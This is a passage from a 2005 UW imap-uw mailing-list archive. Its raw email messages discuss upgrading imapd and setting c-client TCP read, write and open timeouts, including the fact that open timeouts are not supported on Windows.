Marcelo Galeti > > > > ----- Original Message ----- From: "Mark Crispin" > To: "Marcelo Coelho Galeti - GMail" > Cc: > Sent: Sunday, September 04, 2005 11:28 PM > Subject: Re: [Imap-uw] imap2000 directly to imap2004 > > >> On Sun, 4 Sep 2005, Marcelo Coelho Galeti - GMail wrote: >>> If I >>> -find the imapd file, >>> -do a backup of this file, >>> -compile the new one >>> -ONLY REPLACE the old imapd with the new imapd >>> -restart inetd service >>> >>> the imap2004 service will work properly ? and if necessary, I can use the >>> imapd backuped file >>> to restore to an old enviroment ? >> >> Yes and yes. >> >> It is not necessary to restart inetd. >> >>> I mean .. the imapd file is the only thing I need to backup ? Not >>> libraries, .conf files, other ? >> >> Correct, if you use a build from unmodified UW sources. I can't speak >> about modified sources. >> >> -- Mark -- >> >> http://staff.washington.edu/mrc >> Science does not emerge from voting, party politics, or public debate. >> Si vis pacem, para bellum. > > -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Sep 14 16:47:37 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Sep 2005 16:47:37 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ENlbuL006630 for ; Wed, 14 Sep 2005 16:47:37 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ENlawX010723 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Sep 2005 16:47:36 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ENlVAr005811 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 14 Sep 2005 16:47:32 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ENlVgf003255; Wed, 14 Sep 2005 16:47:31 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ENlUi2003246 for ; Wed, 14 Sep 2005 16:47:30 -0700 Received: from sj-iport-5.cisco.com (sj-iport-5.cisco.com [171.68.10.87]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8ENlUfN007462 for ; Wed, 14 Sep 2005 16:47:30 -0700 Received: from sj-core-2.cisco.com ([171.71.177.254]) by sj-iport-5.cisco.com with ESMTP; 14 Sep 2005 16:47:30 -0700 X-IronPort-AV: i="3.97,111,1125903600"; d="scan'208"; a="211966207:sNHT28776460" Received: from xbh-sjc-211.amer.cisco.com (xbh-sjc-211.cisco.com [171.70.151.144]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j8ENlAKM004876 for ; Wed, 14 Sep 2005 16:47:25 -0700 (PDT) Received: from xfe-sjc-212.amer.cisco.com ([171.70.151.187]) by xbh-sjc-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 14 Sep 2005 16:47:28 -0700 Received: from [10.94.178.108] ([10.94.178.108]) by xfe-sjc-212.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 14 Sep 2005 16:47:27 -0700 Message-ID: <4328B68F.9000801@cisco.com> Date: Wed, 14 Sep 2005 17:47:27 -0600 From: Andrew Biggs User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 14 Sep 2005 23:47:27.0605 (UTC) FILETIME=[A9D5E250:01C5B986] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] timeouts for client operations? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, I've got an IMAP client application built on imap-2004e which is particularly sensitive to any sort of delays or latency. If the server is for some reason slow to respond to an open, or any other operation for that matter, are there any hooks in the c-client for setting a timeout (say 5 seconds, for instance)? I can always spin off a worker thread and deal with this that way, I was just wondering if there was anything internal I could take advantage of for this. Thanks! Andrew _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Sep 14 17:05:33 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Sep 2005 17:05:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F05XJ4007607 for ; Wed, 14 Sep 2005 17:05:33 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F05W2x012705 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Sep 2005 17:05:32 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F05R2H031947 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 14 Sep 2005 17:05:27 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F05Qws005551; Wed, 14 Sep 2005 17:05:26 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F05Qks005543 for ; Wed, 14 Sep 2005 17:05:26 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F05PSl023554 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 14 Sep 2005 17:05:25 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F05O0q020831 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Sep 2005 17:05:25 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F05N5r002060 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 14 Sep 2005 17:05:24 -0700 Date: Wed, 14 Sep 2005 17:05:22 -0700 (PDT) From: Mark Crispin To: Andrew Biggs Subject: Re: [Imap-uw] timeouts for client operations? In-Reply-To: <4328B68F.9000801@cisco.com> Message-ID: References: <4328B68F.9000801@cisco.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu There are various timeouts that you can set. On UNIX, you can set TCP open, TCP read, and TCP write timeouts. On Windows, you can set TCP read and TCP write timeouts. This is done via the SET_OPENTIMEOUT, SET_READTIMEOUT, and SET_WRITETIMEOUT functions of mail_parameters(). If you fail to arm a timeout handler via SET_TIMEOUT, a timeout will cause an immediate disconnect. If you arm a timeout handler, then the timeout handler is able to decide whether to disconnect or dismiss the timeout. Note that "disconnect or dismiss" are your only two choices; and the only way that a c-client function will return is if it completes or the session is disconnected. However, your timeout handler *does* have the option of doing other tasks, (e.g., updating the screen) prior to dismissing the timeout. The point is that you can't return to the main thread from a timeout without abandoning the IMAP session. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Sep 14 19:47:45 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Sep 2005 19:47:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2ljZ0015356 for ; Wed, 14 Sep 2005 19:47:45 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2lifJ020260 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Sep 2005 19:47:44 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2lda8013550 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 14 Sep 2005 19:47:39 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2lduL014905; Wed, 14 Sep 2005 19:47:39 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2lbqd014889 for ; Wed, 14 Sep 2005 19:47:37 -0700 Received: from sj-iport-2.cisco.com (sj-iport-2-in.cisco.com [171.71.176.71]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2lbo1029146 for ; Wed, 14 Sep 2005 19:47:37 -0700 Received: from sj-core-1.cisco.com ([171.71.177.237]) by sj-iport-2.cisco.com with ESMTP; 14 Sep 2005 19:47:37 -0700 Received: from xbh-sjc-211.amer.cisco.com (xbh-sjc-211.cisco.com [171.70.151.144]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j8F2lS52016456; Wed, 14 Sep 2005 19:47:35 -0700 (PDT) Received: from xfe-sjc-211.amer.cisco.com ([171.70.151.174]) by xbh-sjc-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 14 Sep 2005 19:46:59 -0700 Received: from [10.94.178.108] ([10.94.178.108]) by xfe-sjc-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 14 Sep 2005 19:46:59 -0700 Message-ID: <4328E0A3.2010806@cisco.com> Date: Wed, 14 Sep 2005 20:46:59 -0600 From: Andrew Biggs User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] timeouts for client operations? References: <4328B68F.9000801@cisco.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 15 Sep 2005 02:46:59.0547 (UTC) FILETIME=[BE69CAB0:01C5B99F] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thanks Mark, this is exactly what I was looking for. I gave this a go, but it didn't seem to take. I went into the code and it seems like the SET_OPENTIMEOUT parameter isn't used by the tcp_parameters() function in tcp_nt.c called by mail_parameters(). Is this not supported on windows or have I perhaps just not used this correctly? Here are the commands I issue just after calling mail_open on _mailstream: mail_parameters(_mailstream, SET_OPENTIMEOUT, (void *)5); mail_parameters(_mailstream, SET_READTIMEOUT, (void *)5); mail_parameters(_mailstream, SET_WRITETIMEOUT, (void *)5); The intent is to simply have the connection close if any of the open/read/write commands doesn't succeed within 5 seconds. Thanks again for your help! Andrew Mark Crispin wrote: > There are various timeouts that you can set. On UNIX, you can set TCP > open, TCP read, and TCP write timeouts. On Windows, you can set TCP > read and TCP write timeouts. This is done via the SET_OPENTIMEOUT, > SET_READTIMEOUT, and SET_WRITETIMEOUT functions of mail_parameters(). > > If you fail to arm a timeout handler via SET_TIMEOUT, a timeout will > cause an immediate disconnect. If you arm a timeout handler, then the > timeout handler is able to decide whether to disconnect or dismiss the > timeout. > > Note that "disconnect or dismiss" are your only two choices; and the > only way that a c-client function will return is if it completes or > the session is disconnected. However, your timeout handler *does* > have the option of doing other tasks, (e.g., updating the screen) > prior to dismissing the timeout. > > The point is that you can't return to the main thread from a timeout > without abandoning the IMAP session. > > -- Mark -- > > http://panda.com/mrc > Democracy is two wolves and a sheep deciding what to eat for lunch. > Liberty is a well-armed sheep contesting the vote. > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Sep 14 19:55:58 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Sep 2005 19:55:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2twEb015594 for ; Wed, 14 Sep 2005 19:55:58 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2tvhL020508 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Sep 2005 19:55:57 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2trq0023420 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 14 Sep 2005 19:55:54 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2tr5m015476; Wed, 14 Sep 2005 19:55:53 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2tqLW015452 for ; Wed, 14 Sep 2005 19:55:52 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2tpKR032732 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 14 Sep 2005 19:55:51 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2to9W032539 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Sep 2005 19:55:50 -0700 X-Auth-Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F2tmop013814 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 14 Sep 2005 19:55:50 -0700 Date: Wed, 14 Sep 2005 19:55:47 -0700 From: Mark Crispin To: Andrew Biggs Subject: Re: [Imap-uw] timeouts for client operations? In-Reply-To: <4328E0A3.2010806@cisco.com> Message-ID: References: <4328B68F.9000801@cisco.com> <4328E0A3.2010806@cisco.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 14 Sep 2005, Andrew Biggs wrote: > Thanks Mark, this is exactly what I was looking for. I gave this a go, but > it didn't seem to take. I went into the code and it seems like the > SET_OPENTIMEOUT parameter isn't used by the tcp_parameters() function in > tcp_nt.c called by mail_parameters(). That's correct. That's what I meant when I wrote: >> On UNIX, you can set TCP >> open, TCP read, and TCP write timeouts. On Windows, you can set TCP read >> and TCP write timeouts. I'm sorry if I was unclear. Open timeouts aren't supported on Windows. The feature used in UNIX to implement open timeouts does not exist in Windows. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Sep 14 20:03:00 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Sep 2005 20:03:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F330pJ015929 for ; Wed, 14 Sep 2005 20:03:00 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F32xPe020886 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Sep 2005 20:02:59 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F32sFO000662 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 14 Sep 2005 20:02:55 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F32sZP015976; Wed, 14 Sep 2005 20:02:54 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F32rs8015968 for ; Wed, 14 Sep 2005 20:02:53 -0700 Received: from sj-iport-4.cisco.com (sj-iport-4.cisco.com [171.68.10.86]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F32qYu023624 for ; Wed, 14 Sep 2005 20:02:53 -0700 Received: from sj-core-3.cisco.com ([171.68.223.137]) by sj-iport-4.cisco.com with ESMTP; 14 Sep 2005 20:02:53 -0700 Received: from xbh-sjc-221.amer.cisco.com (xbh-sjc-221.cisco.com [128.107.191.63]) by sj-core-3.cisco.com (8.12.10/8.12.6) with ESMTP id j8F32hVv016606; Wed, 14 Sep 2005 20:02:45 -0700 (PDT) Received: from xfe-sjc-211.amer.cisco.com ([171.70.151.174]) by xbh-sjc-221.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 14 Sep 2005 20:02:40 -0700 Received: from [10.94.178.108] ([10.94.178.108]) by xfe-sjc-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 14 Sep 2005 20:02:40 -0700 Message-ID: <4328E44F.8080201@cisco.com> Date: Wed, 14 Sep 2005 21:02:39 -0600 From: Andrew Biggs User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] timeouts for client operations? References: <4328B68F.9000801@cisco.com> <4328E0A3.2010806@cisco.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 15 Sep 2005 03:02:40.0219 (UTC) FILETIME=[EF18F2B0:01C5B9A1] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Ahh... my error. Sorry, I should have read that part more carefully. At any rate, having at least the read and write timeouts will still be very helpful. Thanks very much for your quick responses, too! Andrew Mark Crispin wrote: > On Wed, 14 Sep 2005, Andrew Biggs wrote: > >> Thanks Mark, this is exactly what I was looking for. I gave this a >> go, but it didn't seem to take. I went into the code and it seems >> like the SET_OPENTIMEOUT parameter isn't used by the tcp_parameters() >> function in tcp_nt.c called by mail_parameters(). > > > That's correct. > > That's what I meant when I wrote: > >>> On UNIX, you can set TCP open, TCP read, and TCP write timeouts. On >>> Windows, you can set TCP read and TCP write timeouts. >> > > I'm sorry if I was unclear. > > Open timeouts aren't supported on Windows. The feature used in UNIX > to implement open timeouts does not exist in Windows. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 15 01:28:03 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Sep 2005 01:28:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F8S3tC032338 for ; Thu, 15 Sep 2005 01:28:03 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F8S2Xe003429 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 15 Sep 2005 01:28:02 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F8Ru2I010646 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 15 Sep 2005 01:27:57 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F8RuiA004710; Thu, 15 Sep 2005 01:27:56 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F8RsIt004702 for ; Thu, 15 Sep 2005 01:27:54 -0700 Received: from offerans.imn.nl (offerans.imn.nl [194.151.178.77]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8F8Rqrq023638 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 15 Sep 2005 01:27:54 -0700 Received: from IMNLA354 ([217.166.228.205]) (authenticated bits=0) by offerans.imn.nl (8.12.7/8.12.7/SuSE Linux 0.6 IBM) with ESMTP id j8F8Rovv004123 for ; Thu, 15 Sep 2005 10:27:51 +0200 Message-ID: <001501c5b9cf$5cd307f0$5f01a8c0@IMNLA354> From: "Eric Schreuder" To: References: <4328B68F.9000801@cisco.com><4328E0A3.2010806@cisco.com> Subject: Re: [Imap-uw] timeouts for client operations? Date: Thu, 15 Sep 2005 10:27:50 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1506 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1506 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi Mark, > Open timeouts aren't supported on Windows. The feature used in UNIX to > implement open timeouts does not exist in Windows. Other features exist in Windows since winsock2, that make it possible to implement open timeouts. I have sent you a patch two years ago, implementing open timeouts on Windows. I think it was rejected at the time because c-client was based on winsock. We have used the patch ever since, so it has been tested quite well. Maybe a feature to (re)consider for imap-2006? Eric _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 15 08:28:56 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Sep 2005 08:28:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8FFSt3w020174 for ; Thu, 15 Sep 2005 08:28:55 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8FFSsej024814 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 15 Sep 2005 08:28:55 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8FFSn6W030008 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 15 Sep 2005 08:28:49 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8FFSnFb012416; Thu, 15 Sep 2005 08:28:49 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8FFSlHM012408 for ; Thu, 15 Sep 2005 08:28:47 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8FFSlPZ027553 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 